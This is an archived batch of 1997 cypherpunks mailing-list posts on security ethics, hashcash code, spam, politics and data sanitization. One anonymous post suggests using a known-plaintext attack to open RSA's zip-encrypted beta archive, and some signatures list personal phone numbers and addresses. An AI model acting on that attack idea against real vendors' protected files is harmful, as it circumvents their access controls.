Jerry Berman


----- End of forwarded message from Jerry Berman -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 22 Jul 1997 14:05:44 +0800
To: tesla@ssz.com
Subject: Re: Controversial Technology (fwd)
Message-ID: <199707220550.AAA13344@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 21 Jul 1997 21:48:45 -0700 (PDT)
> From: William Beaty <billb@eskimo.com>
> Subject: Re: Controversial Technology

> > I would however like to point out that security through obscurity (ie
> > ignorance) is not security. It is self-delusion. One can not protect them
> > selves reliably from the many consequences of technology and society via
> > ignorance. That which you don't know not only can hurt you but can kill you.
> 
> I don't understand.  You hate unix security, and the solution is to
> screw up as many systems as possible?  That's like hating cars that lack
> armored glass, and going out to smash windshields every night. 
> Destructive acts say much more about those who perform them than they do
> about any weakness of the victims.

No, I hate unix security and it behooves me to know as much about it as
possible so that I may be better informed about its limitations and protect
myself and my property from those out there who hate unix security and plan
on using it to get something from me without my prior permission.

So studying the dynamics of auto glass breaking is equivalent to automotive
vandalism? I bet auto engineers might just object to that generalization.

If I own the car it might be in my best interest to know something about
auto glass to decide whether what I have is enough or should I really buy
that nifty keen security system. Calling the cops and asking them how most
cars get broken into does not lead to the conclusion that I am going to
break into cars.

"A>B" is not equivalent to "B>A".

Discussion toward understanding something is not the same as doing it. If it
were we would all be rapists and murders. 

> What exactly does computer security have to do with amateur science?

Computer science isn't an amateur science? I have to strongly disagree and I
suspect that most computer hobbyist would as well.

I don't know about you but I use my computer for science (and sometimes
it's hooked up to other computers via the net) and therefore find it useful
to understand how they work. Both for when I want to get them to do
something specific as well as when trying to figure out why the silly thing
don't work the way it is supposed to.

This list supports the use of computers as well as the study of them as
analytical instruments or as objects of research themselves. The study of
virus development is as valuable as the discussion of compiler design.

> This brings up an interesting question about your overall philosophy: what
> are your views on discussion of plans for bombs, weapons, poisons, etc. on
> tesla list?

I will attach the info file at the end so that you may review the general
views of the list as well as some of my own.

I have no objection to the discussion of such issues provided they are
within the charter of the list. In short, discussions about how they work,
how to measure various parameters (eg briance and explosives), the history
of the technology, etc. Obviously you can't discuss how to measure the
effectiveness of a poison, for example, if you can't first define what a
poison is and how it works (otherwise how do you know what to measure?).
So if somebody, for example, wanted to discuss how curari works toward the
end of better understanding the human body and the measurement of its
various processes there would be no objection. If you want to propose going
out and actualy killing somebody, then I have a problem.

> If you're all for 'em, then this is an adults-only list and I
> need to remove my site info about tesla@ssz.  The big kids can play all
> they want, but I won't steer the little kids directly to the dangerous
> stuff if I can help it.

Knowledge is danger, leave them barefoot and pregnant...

Do what you want, but this list is not rated and irrespective of your
opinion I will continue to refuse to rate any services from SSZ.

Please, don't send them to somebody who has a clue about it and can direct
them to creative uses for that interest (ie visit the Polic Bomb Squad and
perhaps try to get them to support some sort of activity with the kids),
instead let them figure it out with their friends in the garage over a long
weekend. If we're lucky one of them will survive.

Would you do me a favor and auto-program the phone for 911...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

(Please excuse the fact that I haven't updated all the .info files to
 reflect the changes going on here at TAG)

Welcome to the Experimental Science Instrumentation mailing list. This list
is hosted by CyberTects in Austin, Tx. If you have questions or problems
please send email to 'list@ssz.com'. You should receive a responce shortly
afterward.

There is a place for a webpage on the SSZ homepage. However, currently
nobody is involved in any sort of project. If interested please send a note
to the list. To see what else is up at CyberTects look at
http://www.ssz.com/. It ain't much, but it is home...;)

This mailing list is intended for the rigorous exploration of nature. One of
the primary areas of experimentation is instrumentation and data reduction.
This list is intended as a resource for the advancement of knowledge in both
areas. As a consequence off-topic discussions are STRONGLY avoided.

This list is NOT intended for beginners. They are certainly welcome but are
expected to stay out of discussions they are not experienced in. General
questions are welcome from any party on relevant issues. We strongly believe
the novice experimenter should be helped. Discussions at all levels are
available. It is not acceptable behaviour to expound on personalities or
other 'flame bait' topics.

Sale and advertisment of services are permitted with due consideration of
the other members of the list. Each 'ad' should appear ONLY ONCE per
calendar year. The 'ad' MUST be relevant to the mailing list members and its
charter topic. All responces should be by direct email.

As a member of this list it is expected you pursue active experiments or
projects. We would very much like to hear about what you are up to and where
you are taking it. A working knowledge of diff-eq's, computer programming,
basic electronics (analog & digital), physics, chemistry, safety
proceedures, etc. is assumed for most discussions.

The person behind the email is Jim Choate. I would like to tell you a little
about myself and provide some insight into the mailing list.

This list is NOT for the exploration of pseudo-science, space aliens, etc.
I named the list after Nikola Tesla because I admire his accomplishments and
his strong indipendant nature.

I have been building 'projects' since I was a kid of 8-9, I am now 37. For
seven years I built projects at Discovery Hall, a hands-on science museum in
Austin, Tx. I am currently working on a hexapod robot and a high-performance
rocket. I am currently a computer engineer for Tivoli - IBM as well as run my
own business, CyberTects. In both cases I play with what I lovingly refer to
as the 'bleeding edge'. Through CyberTects I support several hands-on
technology mailing lists and two user groups.

I started the list a couple of years ago with the intent of finding others
who like to build 'professional' quality projects. Since that time it has
grown slowly but steadily by word of mouth. The folks who participate in the
mailing list are truely an impressive lot. Don't feel hesitant about
starting a dialogue. Historicaly the list has been very low traffic. The
majority of traffic is cross-posts from other sources. I would really like
to see more discussion about current projects.


             "Reality is observer dependant"
                              \
                                \   \\/////
                                    |     | 
                                    (.) (.)
      ===========================oOO==(_)==OOo==========================             

                                  James Choate

         Tivoli                                 CyberTects: SSZ
         Customer Support Engineer              SOHO-VR-HPR-Robotics

         9442 Capitol of Texas Highway North    4312 Avenue A
         Suite 500
         Austin, TX 78759                       Austin, TX  78751

         Email: jchoate@tivoli.com              Email: ravage@ssz.com
         Phone: (512) 436-8893                  Phone: (512) 451-7087
         Fax:   (512) 345-2784                  Fax: n/a
         WWW:   www.tivoli.com                  WWW: www.ssz.com
         Modem: n/a                             Modem: (512) 451-7009
         Pager: n/a                             Pager: n/a
         Cellular: n/a                          Cellular: n/a

      ===================================================================

         Political ideal: The Constitution says "Congress shall make no
         law..." & What happened to the 9th & 10th Amendments?

         Philosophy: Pantheism - the belief that everything is divine,
                                 that God is not seperate but totaly
                                 identified with the cosmos, and that
                                 God does not possess personality or
                                 transcendence.

      ===================================================================

         The end of our exploring will be to arrive at where we
         started, and to know the place for the first time.

                                                T.S. Eliot

      ===================================================================

                         Chance favors the prepared mind.

                                                Anon.

      ===================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Tue, 22 Jul 1997 00:21:07 +0800
To: cypherpunks@Algebra.COM
Subject: Hashcash for Emacs
Message-ID: <199707211554.DAA13787@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain



;;; hashcash.el --- Add hashcash payments to email

;; Copyright (C) 1997 Paul E. Foley

;; Maintainer: Paul Foley <mycroft@actrix.gen.nz>
;; Keywords: mail, hashcash

;; Released under the GNU General Public License

(defvar hashcash-default-payment 12)
(defvar hashcash-payment-alist nil)
(defvar hashcash "/home/paul/bin/hashcash")

(require 'mail-utils)

(defun hashcash-generate-payment (str val)
  "Generate a hashcash payment by finding a VAL-bit collison on STR."
  (let ((old-buffer (current-buffer))
	(hc (get-buffer-create "*hashcash*"))
	pos)
    (set-buffer hc)
    (erase-buffer)
    (goto-char (point-max))
    (call-process hashcash nil hc nil (concat "-" val) str)
    (goto-char (point-max))
    (re-search-backward "collision: ")
    (forward-char 11)
    (setq pos (point-marker))
    (end-of-line)
    (setq payment (buffer-substring pos (point)))
    (set-buffer old-buffer))
  (concat payment "\n"))

(defun mail-add-payment (arg)
  "Add an X-Payment: header with a hashcash payment for each recipient address
Prefix arg means non-default payment amount.  Also uses hashcash-payment-alist."
  (interactive "P")
  (unwind-protect
      (save-excursion
	(goto-char (point-min))
	(re-search-forward
	 (concat "^" (regexp-quote mail-header-separator) "\n"))
	(previous-line 1)
	(let ((end (point-marker))
	      (case-fold-search t))
	  (goto-char (point-min))
	  (while (re-search-forward "^\\(to\\|cc\\):" end t)
	    (let ((to-line
		   (mail-strip-quoted-names
		    (buffer-substring (point)
				      (progn
					(if (re-search-forward
					     "^[^ \t\n]" end t)
					    (backward-char 1)
					  (goto-char end))
					(point))))))
	      (while (not (equal "" to-line))
		(let ((address (substring to-line
					  0 (string-match "," to-line))))
		  (if (string-match "," to-line)
		      (setq to-line (substring
				     to-line (string-match "," to-line)))
		    (setq to-line ""))
		  (while (eq 0 (string-match "[, \t]" to-line))
		    (setq to-line (substring to-line 1)))
		  ;; look up hashcash-payment-alist
		  (let ((pay (assoc address hashcash-payment-alist))
			(price (if (null arg)
				   hashcash-default-payment
				 (prefix-numeric-value arg))))
		    (if pay
			(if (eq 1 (length (cdr pay)))
			    (setq price (car (cdr pay)))
			  (progn
			    (setq address (car (cdr pay)))
			    (setq price (car (cdr (cdr pay)))))))
		    (insert-before-markers "X-Payment: "
					   (hashcash-generate-payment
					    address price)))))))))))

-- 
Paul Foley <mycroft@actrix.gen.nz>  ---   PGP-encrypted mail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Note:  All email will be directed to my "junk" mailbox unless a 12-bit
hashcash payment is attached on an X-Payment: header.  Send me mail
with the subject "get hashcash info" for information.
----------------------------------------------------------------------
If there is a possibility of several things going wrong, the one that
will cause the most damage will be the one to go wrong.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Hackworth" <hackwort@hotmail.com>
Date: Tue, 22 Jul 1997 19:27:06 +0800
To: cypherpunks@toad.com
Subject: encrypted for lucky green
Message-ID: <199707221111.EAA22492@f24.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



sorry to intrude

-----BEGIN PGP MESSAGE-----
Version: 2.6.2i

hIwDBJCR6bfyvAUBA/4gtVCv8eZJPK0Kw3km//vCXMaAToMX1T5HZJMj4ubAZN3m
DV8Xy6Mwn1Fd4W3bMQk/qRhwEKymUeYp+Xv4Pm04K2b5QpG415hHH1rHqeyE3rS2
Qgdchh6ZnB7C++7EFftjiwPxdx7zluZJEKEbNq1zOtgR6LBykr3hStcuy8HSeqYA
AAD6/IPdSZImU4/bzwxs0IoLeQzI5RN6zAAcfbBDk+pgMRh67MajikmhiM7dMjV+
avrv1WgCu5PPEwdaHORW9ZFBVBRc5NaucecIuu/3/wbWTBQ6VX1jBe0Pj7ki+3cB
Okk/HX3kjhfjxJwGNC/OaRRJmXHc1Eb+P1WFcTCMlynzJXJBLDj+Dms79xkZaFQf
KRoNhS3CMuxdwZZPH9K7PK1MIAoFZVj6acnqbJTryzbT4I1U4qcOPQqrNravnddw
lpU81KhQeYtAQuSVSyyjUov6Byh9aHw125ST+6T2AneJzWk2IzNpH0QHxw+qJgvG
RMpVPpsv5c4m1DibHQ==
=yWl2

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 22 Jul 1997 17:34:19 +0800
To: paul@fatmans.demon.co.uk>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <Pine.LNX.3.91.970719190732.1788B-100000@fatmans.demon.co.uk>
Message-ID: <Chameleon.869559847.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



I've emailed him directly, both on the net, and on fidonet before he found his way 
here. I didn't get it. Kinda suprised at that actually, and a bit disappointed.

Think if I send the scum who sent the note to everyone, it would recosider putting me 
on it's "enemies list"?

amp 



------------------------
  From: Paul Bradley <paul@fatmans.demon.co.uk>
  Subject: Re: IRS sending warning notes, violating ECPA? 
  Date: Sat, 19 Jul 1997 19:12:35 +0000 ( ) 
  To: Tim May <tcmay@got.net>
  Cc: cypherpunks@algebra.com


> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. It appears they used the addresses found in e-mail at
> > Bell's residence, from some of the comments here (especially that other
> > lists besides the Cypherpunks list were involved).
> 
> 
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?
> 
> The way I see it there are two possible ways the motherfuckers got the 
> addresses, either they found the lists Jim subscribed to and did "who 
> cypherpunks" etc. to the servers, to get the list of participants, or 
> they used any adresses off the mail jim has recieved in the past, I got a 
> copy of it and I have privately emailed Jim several times so I can`t 
> really say which is more likely.
> 
> If it is the second I am hereby giving Jim a public dresssing down for 
> not encrypting the filesystem ;-)....
> 
> > "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> > prison term. If you don't confess, when we find you guilty you'll receive
> > the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> > receive the maximum term. If neither of you confesses, you'll still be
> > found guilty. So, what'll it be?"
> 
> The sending of this email to people Jim has communicated with, if it was 
> a real mail (I haven`t checked before but other people have and have said 
> the headers indicate it passed through several .gov hosts), constitutes 
> cowardly harrasment. Lock and Load.
> 
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/22/97
Time: 04:12:56
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eddie <slender@icx.net>
Date: Tue, 22 Jul 1997 17:17:46 +0800
To: <cypherpunks@toad.com>
Subject: reminder service
Message-ID: <18161.235633.20658206 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi! I am writing to tell you about an amazing service that could change your life.  Have 
you ever forgotten an important date or special occasion?  The Lifetime Reminder 
Service could be the answer to all of your problems!  We will send you a postcard one 
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LIFE!!.  We can also send people gift pacs for you automatically.  These gift pacs are 
perfect for any occasion.  You can take advantage of the Lifetime Reminder Service's 
benifits for a one time fee of only $39.00.  But for a limited time I am selling the 
membership for only $30.00(while supplies last).  That is a one time fee and you will 
be a member for the rest of your life!!!  If you are interested in ordering please reply via 
email, or you can check out http://user.icx.net/~slender/reminder.html.
my name is Eddie Loveday, if you have any questions please feel free to email me at 
slender@icx.net.   I accept C.O.D. orders. To order please email me with your 
addresse, name, and telephone number.
I appreciate you taking the time to read this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 22 Jul 1997 13:43:33 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707220526.HAA13114@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, has anyone taken a look at this file on RSA's ftp?
ftp://ftp.rsa.com/pub/smail/smailbeta10.zip
It is encrypted using only the zip cypher, as far as I can tell. There is a known plaintext attack against this cypher by Biham and Kocher. There are files compressed and encrypted in the archive that are freely available online. A known plaintext attack would seem easy but the files are compressed with a version 5.0 for NT. Is the encryption algorithm in this product different (more secure) than in other versions? Is it a good idea for RSA to distribute their software like this? Would it be legal to export (intentionally or not) files while encrypted and seemingly unusable if the algorithm used to encrypt could be easily broken?

Cheers!

--Anonymous









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Tue, 22 Jul 1997 17:06:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: House Tries to Liberate ICs
Message-ID: <9927.9707220856@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell writes:
> Notice how the following article does not mention the fact that ICs sometimes 
> neglect to send those quarterly tax payments in on time and this is why the 
> Feds dislike them.  It's not going to happen, but it would be fun if it 
> did...

The same thing is happening over here. Buisness is pushing for independant
contractors (and also heading more and more towards bonuses) whereas the
government (particually in the building industry) has changed from encouraging
this to making it harder and harder to qualify because they have just realised
that they are missing out on a great deal of tax because Employers do not have
to make National Insurance contributions for contractors and the contractors
themselves tend to pay a lot less.

Jon 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 23 Jul 1997 02:28:04 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <v03102802aff9ea8a811d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:05 PM -0700 7/20/97, Kent Crispin wrote:
>On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
>Can there be any doubt at all? It's obviously old cheap rhetoric
>through and through, not even Bill Clinton at his worst could match
>it.

Speaking of Clinton,

"If Clinton blows anymore smoke up my ass, my sphincter is going to sue
Philip-Morris."  --Dennis Miller






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 22 Jul 1997 22:34:08 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: This is not ROT13, it's German.
Message-ID: <3.0.1.32.19970722102400.00a16490@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from 0xdeadbeef.

---------- Begin Snip

Forwarded-by: Lloyd Wood <L.Wood@surrey.ac.uk>
Newsgroups: talk.bizarre,de.talk.bizarre

> [Moderator's note: The text here is not ROT13 encrypted. It is
> German.]

Well, thanks for making that clear. Which is the stronger encryption?
ROT13 or German? Is German allowed to be exported from the US?
I can get my newsreader to turn ROT13 into English. How do I get it to
turn German into English?

From: "Michael Briel" <UZSYDF@UNI-BONN.DE>
Newsgroups: alt.humor.best-of-usenet
Subject: [de.talk.bizarre] ZU VERKAUFEN
Message-ID: <ahbou=3D199707182029.QAA10092@jeter.acpub.duke.edu>

[Moderator's note: The text here is not ROT13 encrypted. It is German.]

Subject: ZU VERKAUFEN
From: Flavio Spirgi <Flavio.Spirgi@uni-konstanz.de>
Newsgroups: de.talk.bizarre

 VERKAUFE

 rasenm=E4her

 ausgezeichneter zustand, nur kleines leck an einem der 4
 hochleistungsreaktoren. der rasenm=E4her verf=FCgt =FCber vierzehn hochwer=
tige
 turbinen, die im notfall auch einen betrieb =FCber die wasserleitung
 zulassen. die schneidevorrichtung besteht aus vier nichtrostenden
 klingen aus hochwertigem spezialstahl mit holzeinlagen, die je 15 m lang
 sind. krankheitshalber abzugeben.

--
Moderators accept or reject articles based solely on the criteria posted
in the Frequently Asked Questions. Article content is the responsibility
of the submitter.  Submit articles to ahbou-sub@acpub.duke.edu. To write
to the moderators, send mail to ahbou-mod@acpub.duke.edu.

---------- End Snip
-- Rick Osborne, <osborne@gateway.grumman.com>
This is a castle. And we have many tapestries. And if you are a Scottish
Lord then I am Mickey Mouse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 22 Jul 1997 23:38:33 +0800
To: cypherpunks@toad.com
Subject: Re: Fight-each-other
In-Reply-To: <v03102806aff9deb72da2@[207.167.93.63]>
Message-ID: <P0y90D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
(reasonable stuff)
> ** PICS/RSACi Voluntary Self-Rating (Text Form) ** :
> 
> Suitable for Children: yes  Age Rating: 5 years and up.
> Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
> Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
> Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
> Caucasoids: Yes  Negroids: No  Mongoloids: Yes
> Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?
> 
> --Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
> regicide, presicide, suicide, aptical foddering.
> --Contains references hurtful to persons of poundage and people of
> color.Sensitive persons are advised to skip this article.
> 
> **SUMMARY**
> Estimated number of readers qualified to read this: 1
> Composite Age Rating: 45 years
> 
> 

This is hilarious.

It also gives me an idea for a project, if anyone wants one:

Put out your own .RAT file with shit like "advocates censorship" or
"opposes use of crypto".  Put out PICS ratings against the material
on the net using this .RAT file.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 22 Jul 1997 23:37:45 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Revolution: Net Guerrillas, from The Netly News (fwd)
In-Reply-To: <Pine.GSO.3.95.970721215407.29536B-100000@well.com>
Message-ID: <9FZ90D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
> ---------- Forwarded message ----------
> Date: Mon, 21 Jul 1997 21:53:56 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: fight-censorship-announce@vorlon.mit.edu
> Subject: The Real Revolution: Net Guerrillas, from The Netly News
> 

Her Declan, you want a story idea - look into the (verylarge) role
various Internet mailing lists played in organizing the invasion of Zaire.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 23 Jul 1997 01:57:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Queen of Pseudononymity
In-Reply-To: <199707221612.MAA17707@homeport.org>
Message-ID: <19970722173941.32613.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



> Rather than use the obvious e-mail address of
> one@buckinghampalace.co.uk, however The Queen is apparently using a
> number of pseudonyms to hide her true identity.  Only the recipients
> of her e-mail are alleged to know who is really behind their messages.

I wonder if Prince Tampon is also on the Net. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Jul 1997 00:15:14 +0800
To: "Ng Pheng Siong" <jlumstoi@pacific.net.sg>
Subject: Re: "How many times erased does DOD want?"
In-Reply-To: <199707220320.LAA00623@sagan.pacific.net.sg>
Message-ID: <199707221601.LAA09913@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707220320.LAA00623@sagan.pacific.net.sg>, on 07/22/97 
   at 11:15 AM, "Ng Pheng Siong" <jlumstoi@pacific.net.sg> said:

>Hi,

>I'm looking for the news posting with the subject line as above. Poster
>David Hayes, comp.periphs.scsi, 24 July 91, message-id
>1991Jul24.050701.16005@sulaco.lonestar.org.

>Got no luck with Dejanews, reference.com and Altavista.

>The topic is data recovery from magnetic media. 
>Also appreciate any pointers to info on same.

The document you want is DoD 5220.22-M (NISPOM) National Industrial
Security Program Operating Manual <--- "Learn it, Live it, Love it"

You can find the document at:

http://jya.com/nispom

The section you want is:

Chapture 8: Automated Information System Security
Section  3: Controls & Maintenance
Part   306: Maintenance
Sub-Part  : Cleaning & Sanitization Matrix

This can be found at:

http://jya.com/nispom/chapt8.htm

The matrix will be located towards the bottom of the page.

Hope this helps,


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9TMAo9Co1n+aLhhAQGIJQP/d70SczW735437GLmeyEcs7WYzELARnoO
9BLjBMpl+cZpfdLrzzZTStyOAo+ub4b5v65QSXPkehXkNeJ4F+43BQQ1q5Ki4cXI
6Slw1ldt1p6P0hESwSZovZ65FrTMOEft3PavInvQm5LRCU/TayE21BJ80uNr1uK1
Iqy/an/bLFg=
=yGDr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 22 Jul 1997 23:26:02 +0800
To: cypherpunks@toad.com
Subject: Re: Fight-each-other
In-Reply-To: <Pine.GSO.3.95.970721192957.21952B-100000@well.com>
Message-ID: <97Jul22.110332edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 21 Jul 1997, Declan McCullagh wrote:

> Maybe it was naive to think that the anti-CDA coalition would hang
> together after the Supreme Court decision. After all, the current fault
> lines are split along some of the same divisions that existed for a year
> and a half in two lawsuits: the one organized by the ACLU and the one
> organized by CIEC. I've heard some say that the current dispute was
> inevitable. 
> 
> Or, think of it this way: when privacy groups ally with the religious
> right on database legislation, they don't expect their alliance to last
> forever. Or when librarians join with Sony, Bell Atlantic, and Sun on
> copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or
> when the Cato Institute joins Ralph Nader on opposing the CDA.
> 
> These are issue-by-issue alliances, and everyone involved understands that
> from the start. Perhaps we should have thought of the CDA alliance the
> same way? Or perhaps the conflict arises because all groups would like to
> claim the mantle of "representing the interests of the Net" -- which
> brings with it some political currency here in Washington. And some might
> say the tussle comes from long-standing personality conflicts.

I think something more is going on, at least with the "conserative
movement", but I also watch National Empowerment Television :).

Grover Norquist has coined the term "The Leave-us-alone Coalition" that
simply wants the government out of everything they have no constitutional
authority to be in.  They perceive government as an intrinsic evil and the
only thing that should be done is to slay the dragon.  I would number
Eagle Forum and the Progress and Freedom Foundation in this group.

The other side (e.g. Concerned Women For America) wants to "tame" or turn
the dragon and assume they can make the power to kill and imprison work
for good when they are in control, and will even let Bill & Hillary run
things if they "will only save our kids from cyberporn".

The first group are deserting the Republican party as such in droves (look
for a Libertarian party pickup if the party avoids being too libertine). 
The Republican coalition is based on shrinking the power and cost of
government and the people they have proved to be ineffective or even
against shrinking government in practice.  Principled losses would be
welcomed over compromised victories, but even worse, they stand on
principle for two weeks, and when it looks like they are about to win, but
are getting a media barrage only inside the beltway, they cave in
suffering all the scars of battle without anything to show for it.  The
next (1998) election should be interesting. 

The CDA brought the differences into clear view.  I usually ask if they
would like Joycelyn Elders to decide what gets censored (Who do they think
Bill & Hillary would appoint?), or if the same courts that they say can't
tell up from down in their judicial abuse alerts will be able to decide on
whether an anti-abortion site is "indecent".

What I cannot understand is why people who spend a great deal of their
content cataloging abuses from all branches of government and otherwise
say it is too intrusive believe that in the instance of net censorship
that it will suddenly turn into a wise and beatific force when every other
bit of evidence would indicate otherwise. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ng Pheng Siong" <jlumstoi@pacific.net.sg>
Date: Tue, 22 Jul 1997 11:36:45 +0800
To: cypherpunks@toad.com
Subject: "How many times erased does DOD want?"
Message-ID: <199707220320.LAA00623@sagan.pacific.net.sg>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

I'm looking for the news posting with the subject line as above.
Poster David Hayes, comp.periphs.scsi, 24 July 91, message-id
1991Jul24.050701.16005@sulaco.lonestar.org.

Got no luck with Dejanews, reference.com and Altavista.

The topic is data recovery from magnetic media. 
Also appreciate any pointers to info on same.

TIA. Cheers.

- PS
Ng Pheng Siong 
<jlumstoi@pacific.net.sg>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 23 Jul 1997 03:18:19 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970722113622.25813@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 22, 1997 at 09:05:23AM -0700, Steve Schear wrote:
> At 5:05 PM -0700 7/20/97, Kent Crispin wrote:
> >On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
> >Can there be any doubt at all? It's obviously old cheap rhetoric
> >through and through, not even Bill Clinton at his worst could match
> >it.
> 
> Speaking of Clinton,
> 
> "If Clinton blows anymore smoke up my ass, my sphincter is going to sue
> Philip-Morris."  --Dennis Miller

:-)

I should have used Freeh for an example.


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Tue, 22 Jul 1997 23:59:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <v03007804aff9d745474f@[207.94.249.108]>
Message-ID: <97Jul22.115025edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 22 Jul 1997, Bill Frantz wrote:

> As far as I can tell, law, custom, and technology are the three ways we
